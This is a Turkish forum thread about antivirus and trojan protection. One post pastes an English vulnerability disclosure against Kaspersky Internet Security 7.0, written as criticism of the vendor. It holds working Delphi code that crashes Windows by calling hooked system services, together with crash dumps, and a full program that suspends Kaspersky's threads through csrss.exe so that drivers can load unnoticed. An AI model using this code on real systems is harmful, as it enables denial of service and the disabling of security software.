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İnterneti düzgün kullanmanın da bir mantığı kalmadı artık.

Geçen yeni bilgisayara windows xp kurdum formattan sonra. Windowsa ilk giriş. İnternet bağlantısını yaptım daha internet ile ilgili bişi açmadan direk 2 tane virus. Cart ! Trojan da değil. Adam kendini yüklemiş iki dakkada nasıl oluosa. Yazdığım Windows cd'si de Fi tarihinden kalma virüs felan yok kontrol edilmiş temiz.

www.pandasoftware.com/activescan ile temizledimde kerio kurdum. Firewall ile sisteme(generic host process) internet izni vermezseniz trojanlar internete çıkamaz sadece bilgisayarı yavaşlatır internete çıkmayı denedikleri için. Tabi bu sayede windows update de yalan olur o yüzden arada izin verip beklemek lazım :D

Gerçekten kendini svchost.exe yapabilen trojan varmı ? svchost.exe nin değiştirilmesi veya eskiden olduğu gibi virüs bulaşması imkansız diye biliyorum ben. trojanlar svchostt.exe, svchosst.exe, svvhost.exe gibi ekstra dosya olarak gösterior kendini ve task manager da dikkat edince belli oluyorlar.
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valla bi sıkıntı yok bende. sen de hemen ilk olayda faturayı nod32'ye kesme bence. nod32 bulamadı belki ama digerlerinin bulabilecegini nerden biliyosun. baska bir program kursan yine de girebilme olasılıgı vardı pc ne.

no32'nin yeni versiyonu cıkmıs bu arada arayüzü adam etmişler sonunda, deneyin.
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windowsu sürekli güncellemek lazım, sadece virus programıyla bir yere kadar. benim otomatik güncelleştirmeler açık windowsta, norton internet security var bi de yıllardır bir sorunla karşılaşmadan geçinip gidiyorum. e tabii yarın sorun çıkmayacak demek değil ama windowsu güncelleyin windowsu.
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biraz konuyu uplıyorum gibi olacak. ama gözünüz açık olsun canınız yanmasın maksat.

misal çok övülen kaspersky.

kaspersky hakkında

Kaspersky Antivirus one of the most technically modern antiviruses available today. It even can fight with several rootkit types, even when they are alive and kicking.

It features Proactive Defense module, a light HIPS implementation which should in theory protect computer from unknown threats by analyzing programs behavior and preventing programs from unauthorized actions.

This is the theory and promises of the screaming advertising. In real life we have absolutely different situation. There are exists many rootkits, which are completely undetectable by this antivirus, its proactive defense still can be bypassed and gives attacker ways to load driver, after this any proactive defense surrenders.

This article is not simple overview of bugs and vulnerabilities in the end of each part we are giving some recommendations to the Kaspersky Developers because as we see they can't handle their bugs itself. And oh yes, all listed below is not a critical vulnerabilities or bugs, no-no =). Just a few easy methods to get BSOD with KAV/KIS installed even from Guest account, just a method of KAV/KIS bypassing... etc, don't take it too close to the heart, guys ;)

Version of Kaspersky in this article - 7.0 latest public build 125, product type - Internet Security.


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Kaspesky and System Service Descriptor Table
============================================

Very long time is known that this is the weakest part of this antivirus. The weakest, because it contains number of elementary bugs.

Another example of poorly coded so-called Proactive Defense. On Windows XP Kaspersky AV adds additional services in SSDT table. Count of services entries which are present only on Windows 2003. They starts from 284 and ends 296. About 13 unknown entries with addresses inside klif.sys.

Here they are:

ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BD80 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BD90 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BDA0 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BDC0 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BDE0 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BE10 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BE20 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BE40 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BE50 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BF10 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809BFE0 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809C020 hook handler located in [C:WINDOWSsystem32driversklif.sys]
ntkrnlpa.exe-->UNKNOWN_SSDT_ENTRY, 0xF809C060 hook handler located in [C:WINDOWSsystem32driversklif.sys]

What is it? Fully unknown, but look like KAV developers do that to solve problem with different counts of entries for XP and 2003. Why it was done it is not our concern.

And now surprise. Any of this unknown SSDT entries can be EXPLOITED and can crash system into the BSOD even from Guest account with MINIMAL PRIVILEGES. We coded simple program. Its generates invalid system calls with invalid parameters for these unknown SSDT entries. The code is very simple but efficient. Using the same on clean Windows will lead to nothing, because Windows handles such situation in the right manner.


var
Services: array[0..12] of ULONG;
ThreadTerminated: boolean = false;
ExecThread: THANDLE;

function MakeSysCall(SysCallNumber: integer; const Stack: PDWORD): DWORD; stdcall;
asm
mov eax, SysCallNumber
mov edx, Stack
int 2eh
mov Result,eax
end;

function exec(p1: pointer): DWORD; stdcall;
var
i: integer;
p2: DWORD;
p3: DWORD;
begin
randomize();
u := 0;
for i := 0 to 12 do Services[i] := 284 + i;
while not ThreadTerminated do
begin
p2 := random($FFFFFFFF);
p3 := Services[random(12)];
MakeSysCall(p3, @p2);
Sleep(100);
end;
CloseHandle(ExecThread);
ExecThread := 0;
result := 0;
end;

var
p2: DWORD;
begin
ThreadTerminated := false;
ExecThread := CreateThread(nil, 0, @exec, nil, 0, p2);
end;


Results of execution: Kaspersky Internet Security v7.0 125 build

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e0ae15f9, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f8087e8c, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)

Debugging Details:
------------------

***** Kernel symbols are WRONG. Please fix symbols to do analysis.


MODULE_NAME: klif

FAULTING_MODULE: 804d7000 nt

DEBUG_FLR_IMAGE_TIMESTAMP: 468266cd

READ_ADDRESS: unable to get nt!MmSpecialPoolStart
unable to get nt!MmSpecialPoolEnd
unable to get nt!MmPoolCodeStart
unable to get nt!MmPoolCodeEnd
e0ae15f9

FAULTING_IP:
klif+5e8c
f8087e8c 8b07 mov eax,dword ptr [edi]

MM_INTERNAL_CODE: 0

CUSTOMER_CRASH_COUNT: 1

DEFAULT_BUCKET_ID: WRONG_SYMBOLS

BUGCHECK_STR: 0x50

LAST_CONTROL_TRANSFER: from 00442ea4 to f8087e8c

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
f783fd64 00442ea4 badb0d00 00ebffb0 00000000 klif+0x5e8c
f783fd68 badb0d00 00ebffb0 00000000 00000000 0x442ea4
f783fd6c 00ebffb0 00000000 00000000 00000000 0xbadb0d00
f783fd70 00000000 00000000 00000000 00000000 0xebffb0


STACK_COMMAND: kb

FOLLOWUP_IP:
klif+5e8c
f8087e8c 8b07 mov eax,dword ptr [edi]

SYMBOL_STACK_INDEX: 0

FOLLOWUP_NAME: MachineOwner

IMAGE_NAME: klif.sys

SYMBOL_NAME: klif+5e8c

BUCKET_ID: WRONG_SYMBOLS

Followup: MachineOwner

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But! This is not all!
In spite of the previously report vulnerabilities in SSDT handlers KL developers STILL not fixed them!
We can prove that by simple program called NTCALL. After starting it begins generation of invalid system services calls.

NtCreateSection - calling this function with wrong parameters WILL lead to BSOD with klif.sys

And here our BSOD!

KERNEL_MODE_EXCEPTION_NOT_HANDLED_M (1000008e)
This is a very common bugcheck. Usually the exception address pinpoints
the driver/function that caused the problem. Always note this address
as well as the link date of the driver/image that contains this address.
Some common problems are exception code 0x80000003. This means a hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG. This is not supposed to happen as developers should never have
hardcoded breakpoints in retail code, but ...
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG. This will let us see why this breakpoint is
happening.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 805883ea, The address that the exception occurred at
Arg3: f669a95c, Trap Frame
Arg4: 00000000

Debugging Details:
------------------

ANALYSIS: Kernel with unknown size. Will force reload symbols with known size.
ANALYSIS: Force reload command: .reload /f ntoskrnl.exe=FFFFFFFF804D7000,214600,41108004
***** Kernel symbols are WRONG. Please fix symbols to do analysis.


MODULE_NAME: klif

FAULTING_MODULE: 804d7000 nt

DEBUG_FLR_IMAGE_TIMESTAMP: 468266cd

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 -

FAULTING_IP:
nt+b13ea
805883ea 8b88a4000000 mov ecx,dword ptr [eax+0A4h]

TRAP_FRAME: f669a95c -- (.trap 0xfffffffff669a95c)
ErrCode = 00000000
eax=1ae9a770 ebx=e1019546 ecx=e1019552 edx=55185990 esi=5518598f edi=e1019552
eip=805883ea esp=f669a9d0 ebp=f669aad8 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
nt+0xb13ea:
805883ea 8b88a4000000 mov ecx,dword ptr [eax+0A4h] ds:0023:1ae9a814=??
Resetting default scope

CUSTOMER_CRASH_COUNT: 1

DEFAULT_BUCKET_ID: WRONG_SYMBOLS

BUGCHECK_STR: 0x8E

LAST_CONTROL_TRANSFER: from f9414603 to 805883ea

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
f669aad8 f9414603 e10195a8 f669ab0c 00000200 nt+0xb13ea
00000000 00000000 00000000 00000000 00000000 klif+0x16603


STACK_COMMAND: kb

FOLLOWUP_IP:
klif+16603
f9414603 ??

SYMBOL_STACK_INDEX: 1

FOLLOWUP_NAME: MachineOwner

IMAGE_NAME: klif.sys

SYMBOL_NAME: klif+16603

BUCKET_ID: WRONG_SYMBOLS

Followup: MachineOwner


So, what we can say here? It is time to stop using perversions with SSDT and time to write normal handlers for SSDT entries. You better ask Zaytsev Oleg, he knows how to set up hooks in SSDT ;)

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Kaspersky and Shadow SSDT
=========================

Shadow SSDT is a special table into win32k.sys which contains addresses of the system routines related to GDI/USER.
Kaspersky hooks several services here for antikeylogger feature and self protection.

And again hooked BADLY.

NtUserSendInput with wrong parameters and... -> haha, another BSOD, doesn't it remembers some kind of BSOD-generator? =)

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: e1f83004, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f9417eee, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000001, (reserved)

Debugging Details:
------------------

ANALYSIS: Kernel with unknown size. Will force reload symbols with known size.
ANALYSIS: Force reload command: .reload /f ntoskrnl.exe=FFFFFFFF804D7000,214600,41108004
***** Kernel symbols are WRONG. Please fix symbols to do analysis.


MODULE_NAME: klif

FAULTING_MODULE: 804d7000 nt

DEBUG_FLR_IMAGE_TIMESTAMP: 468266cd

READ_ADDRESS: unable to get nt!MmSpecialPoolStart
unable to get nt!MmSpecialPoolEnd
unable to get nt!MmPoolCodeStart
unable to get nt!MmPoolCodeEnd
e1f83004

FAULTING_IP:
klif+19eee
f9417eee 8b4500 mov eax,dword ptr [ebp]

MM_INTERNAL_CODE: 1

CUSTOMER_CRASH_COUNT: 1

DEFAULT_BUCKET_ID: WRONG_SYMBOLS

BUGCHECK_STR: 0x50

LAST_CONTROL_TRANSFER: from 80000014 to f9417eee

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
f6052850 80000014 e1f6a008 00010013 f9418090 klif+0x19eee
f6052854 e1f6a008 00010013 f9418090 00000000 0x80000014
f6052858 00010013 f9418090 00000000 f94180bc 0xe1f6a008
f605285c f9418090 00000000 f94180bc e1f6a008 0x10013
f6052860 00000000 f94180bc e1f6a008 80000014 klif+0x1a090


STACK_COMMAND: kb

FOLLOWUP_IP:
klif+19eee
f9417eee 8b4500 mov eax,dword ptr [ebp]

SYMBOL_STACK_INDEX: 0

FOLLOWUP_NAME: MachineOwner

IMAGE_NAME: klif.sys

SYMBOL_NAME: klif+19eee

BUCKET_ID: WRONG_SYMBOLS

Followup: MachineOwner



For this part recommendations will be simple - put your driver into debugger.

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Kaspersky and Import Addresses Table
====================================

The following code


var
p1: PChar;
begin
p1 := PChar($ffffffff);
LoadLibraryA(p1);
end;


will lead to the Access Violation. That is normal, because we used invalid parameter for the function, but abnormal thing here is WHERE this access violation occurs, the address - 0xF80B3306.
This is not a joke - 0xF80B3306! In kernel mode!
To be more correct inside klif.sys

Lets look whats happening.

We found massive IAT modifcation found for each process in the system. Look whats happened with explorer.exe

[420]explorer.exe-->kernel32.dll-->LoadLibraryExA, Type: IAT Modification at address 0x010010A8-->7C882FB0 hook handler located in [kernel32.dll]
[420]explorer.exe-->kernel32.dll-->LoadLibraryExW, Type: IAT Modification at address 0x010010F8-->7C882FD8 hook handler located in [kernel32.dll]
[420]explorer.exe-->kernel32.dll-->LoadLibraryA, Type: IAT Modification at address 0x01001150-->7C882F9C hook handler located in [kernel32.dll]
[420]explorer.exe-->kernel32.dll-->LoadLibraryW, Type: IAT Modification at address 0x010011D0-->7C882FC4 hook handler located in [kernel32.dll]
[420]explorer.exe-->kernel32.dll-->GetProcAddress, Type: IAT Modification at address 0x010011E4-->7C882FEC hook handler located in [kernel32.dll]

Strange isn't? Lets trace LoadLibraryA call.

KERNEL32.LoadLibraryA:


push ebp
mov ebp, esp
nop
pop ebp
jmp +$7b830b4a <-call gate to klif.sys
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop


Thats how looks LoadLibraryA inside kernel32.dll after IAT redirection by Kaspersky Antivirus. Isn't a perversion?

If you installs this antivirus on your PC you are (what a irony) opening it for additional exploits / backdoors, created with help of this antivirus, LOL.

For this part we are recommending Kaspersky developers remove this perversion from their product. Exists better and simpler ways to communicate with kernel mode part and in the end - this is a simple perversion.

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Kaspersky Antivirus Self-Defense
================================

As most of you knows, Kaspersky Antivirus activelly defend itself against malware attacks. Its processes are protected from unauthorized access and termination by malware. But how good they are protected?

BAD.

Kaspersky Antivirus set up several hooks in SSDT (e.g. NtOpenProcess, NtOpenThread, NtTerminateProcess etc), several hooks in Shadow SSDT (e.g. NtUserFindWindowEx, NtUserBuildHwndList etc) additionally to protect itself from malware attacks.

Additionally it set ups itself as service with restart on errors settings. Service configuration in registry protected from access by several hooks in the SSDT. So how we can kill this AV? And do we need to kill it? If we will kill avp.exe GUI part then it will be restarted by service. If we kill service, then it will be restarted by SCM. So, how we can destroy this antivirus (in educational purposes, of course)? That's a good question. The answer is very simple. We should leave it alive, but make it totally unworkable. One thing that we need - load driver, after it we will be completely out of Kaspersky Antivirus interests. But previous we have to lock it, to give us this ability, yeah? Not exactly. There are exists at least three methods which can do the silent driver loading without any notice from Kaspersky Proactive Defense 7.0 I'm sure that exists and some other methods. In our case we must suspend all threads of Kaspersky processes, simple suspend, nothing more, that will be enough. We can't access threads of the Kaspersky processes directly, because SSDT is owned by PDM. So it is time to use our loved backdoor process called csrss.exe :)

In this example we a priori takes that KAV executables named avp.exe and csrss.exe exists in one instance (LOL, if you have ring3 malware masking as csrss.exe, here could be a little problem).


var
AVPID: array[0..9] of ULONG;
last: integer;
h2: THANDLE;
ph: THANDLE;
bytesIO: ULONG;
buf: PSYSINFOBUF;
i, c: integer;
cid1: CLIENT_ID;
attr: OBJECT_ATTRIBUTES;
csrss_id: THANDLE;
tmp1: LBuf;
pBuffer: PROCESSENTRY32W;
SnapShotHandle: THANDLE;
tbi: THREAD_BASIC_INFORMATION;
exists: boolean;
begin
RTL.EnableSystemPrivilege('SeDebugPrivilege', true);
last := 0;
pBuffer.dwSize := sizeof(PROCESSENTRY32W);
SnapShotHandle := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
if (SnapShotHandle <> INVALID_HANDLE_VALUE) then
if Process32FirstW(SnapShotHandle, @pBuffer) then
repeat
if (pBuffer.szExeFile = 'avp.exe') then
begin
for i := 0 to 9 do
exists := (AVPID[i] = pBuffer.th32ProcessID);
if not exists then
begin
AVPID[last] := pBuffer.th32ProcessID;
inc(last);
end;
end;
until (not Process32NextW(SnapShotHandle, @pBuffer));
CloseHandle(SnapShotHandle);
csrss_id := 0;
pBuffer.dwSize := sizeof(PROCESSENTRY32W);
SnapShotHandle := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
if (SnapShotHandle <> INVALID_HANDLE_VALUE) then
if Process32FirstW(SnapShotHandle, @pBuffer) then
repeat
ExtractFileNameW(pBuffer.szExeFile, tmp1);
if (strcmpiW(tmp1, 'csrss.exe') = 0) then
begin
csrss_id := pBuffer.th32ProcessID;
break;
end;
until (not Process32NextW(SnapShotHandle, @pBuffer));
CloseHandle(SnapShotHandle);
if (csrss_id = 0) then exit;

attr.Length := sizeof(OBJECT_ATTRIBUTES);
attr.RootDirectory := 0;
attr.ObjectName := nil;
attr.Attributes := 0;
attr.SecurityDescriptor := nil;
attr.SecurityQualityOfService := nil;

cid1.UniqueProcess := csrss_id;
cid1.UniqueThread := 0;
if (ZwOpenProcess(@ph, PROCESS_ALL_ACCESS, @attr, @cid1) <> STATUS_SUCCESS) then exit;
bytesIO := 4194304;
buf := nil;
ZwAllocateVirtualMemory(GetCurrentProcess(), @buf, 0, @bytesIO, MEM_COMMIT, PAGE_READWRITE);
ZwQuerySystemInformation(SystemHandleInformation, buf, 4194304, @bytesIO);
for c := 0 to buf^.uHandleCount - 1 do
if (buf^.rHandleTable[c].ProcessId = csrss_id) then
begin
if (buf^.rHandleTable[c].ObjectTypeNumber = PsThreadType) then
begin
h2 := 0;
if (ZwDuplicateObject(ph, buf^.rHandleTable[c].Handle, DWORD(-1), @h2,
0, 0, DUPLICATE_SAME_ACCESS) = STATUS_SUCCESS) then
begin
ZwQueryInformationThread(h2, ThreadBasicInformation, @tbi, sizeof(tbi), @bytesIO);
for i := 0 to last do
if (tbi.ClientId.UniqueProcess = AVPID[i]) then ZwSuspendThread(h2, nil);
end;
end;
end;
ZwClose(ph);
bytesIO := 0;
ZwFreeVirtualMemory(GetCurrentProcess(), @buf, @bytesIO, MEM_RELEASE);
end;


After this both executables of Kaspersky will be suspended and we can load drivers and do our job silently =)

Tested on KIS v7.0 build 125 with Default AV settings applied.
Windows XP SP2, admin rights.

We recommend KL walk into HANDLE_TABLE and change access rights for their Thread handles. Additionally it is time to improve filter for NtDuplicateObject hook.

================================
Epilog
================================

You might be asking yourself, why so OBVIOUS BUGS / natural DoS haxdoors still EXISTS in the one of the most popular antiviruses? Because somebody should do kick in the ass of KL. Not so long time ago we have published another overview of KAV bugs - "Exploiting Kaspersky Antivirus 6.0/7.0" The reaction on this article was expected. They said something like this - "No worry, this is not a critical bugs". Yes, probably Blue Screen Of Death from GUEST account is not a very big problem for this company. "Really, wtf is BSOD? Nothing, relax guys" But something is changing, they closed several published vulnerabilities, so they must say a little "thank you" to us. Instead of this we have got a lot of **** in our addresses (of course unofficially). Well, we simple don't care about such reactions, so don't bother yourself guys/fanatics. We do not want our self advertisment and we do not want watch so stupid BSOD's from KAV.

Dear Kaspersky Lab developers, your antivirus is pretty good, it is not disputable fact, but maybe it is time for you - fix these bugs? Remove your perversions in SSDT/IAT hooking. Add more exception handling in your driver. Seriously what is wrong? Looking on klif.sys I see only one thing -> BIG, BUGGY driver.

Some kind of unofficial reaction from the Kaspersky Lab on our previous overview of klif.sys vulnerabilities you can read from this wonderful article, which contains several absurd statements and nonsense commentaries. In few words, author of this article has partly accused us for publication information about vulnerabilities in the their old/new products.

http://www.viruslist.ru/analysis?pubid=204007553

It is in Russian, but I'm sure you can find English variant.

Have a fun,
from the VX heavens
EP_X0FF/UG North



diğerlerinde çok açıklar var elbette. adamlar bilgisayarımıza girmek için her gün daha çok çalışıyorlar. hepmiz tehlike altındayız! (george bush gibi olayı abartır) güvende olmak için bu adamları bombalamamız lazım! (şaka bi yana, arada başka programların online scannerlarını kullanmak uygun olabilir)


dur kaynak vermedik.. kaynak metnin tamamı ise burada

ayrıca daha fazla bilgi için..

spyware olayıfalan daha karışık zannımca. çok program var geneli %70 temizliyebiliyor(muş) naapsak naapsak (spysweeper ve spybot etc. çok başarılı bulunmuyor :S ilginç bir şekilde. sunbelt, superantispyware, spyware doctor falan demişler bulup kaldırma için. sadece bulma için bunların yanına bi de xoftspyse adı geçiyor..

kaynak: kıçım

değil ama sayfaları bulamıyorum şimdi. bulursam editlerim artıkın..
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Bir kisi bile trojan in virus olmadigini soylememis arkadasa cok uzdu beni.

%100 korunma istiyorsan yapabilecegin tek sey Linux e gecmek. Windows da %100 korunma diye bir sey yok cunku.

Ha bence tum Windows makinalari birer Storm Bot olmus durumdalar, cok pis patlayacaklar yakin zamanlarda.

http://en.wikipedia.org/wiki/Storm_Worm
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dasaaa

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valla habire değişik programların triallarını kurmak, onlar ile de taratmak lazım sanki (veya online scannerlar var. onlarla daha rahat oluyor)

bir antivirus her zaman kurulu olsun tabii bilgisayarınızda. ama gözü kapalı güvenmeyin,değerli datalardan olmayın demek istiyorum ^_^
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Firewall topiği açmışken şurayı da upliyim.

Avast'a güveniyorum ben. Freeware ve Türkçe antivirüs programı mis gibi. Geçenlerde NTFS dosya sisteminin (system volume information klasörü) içine kaydolan bi trojan/virüs çıktı karşımıza, flash disk ile arkadaşın bilgisayarına ve benimkine bulaştı. Nod32 virüsün varlığından bile haberdar olmadı ve system volume information'ı tarayacak yetkiyi de alamadı. Arkadaşnı bigisayarı kaldı öyle, bendeki avast ise bellekteki virüsü buldu ve bilgisayarı resetleyip konsoldan tarama yaparak virüsü temizledi. Über bi özellik değil tabii ki ama çok methedilen nod32'de yok.
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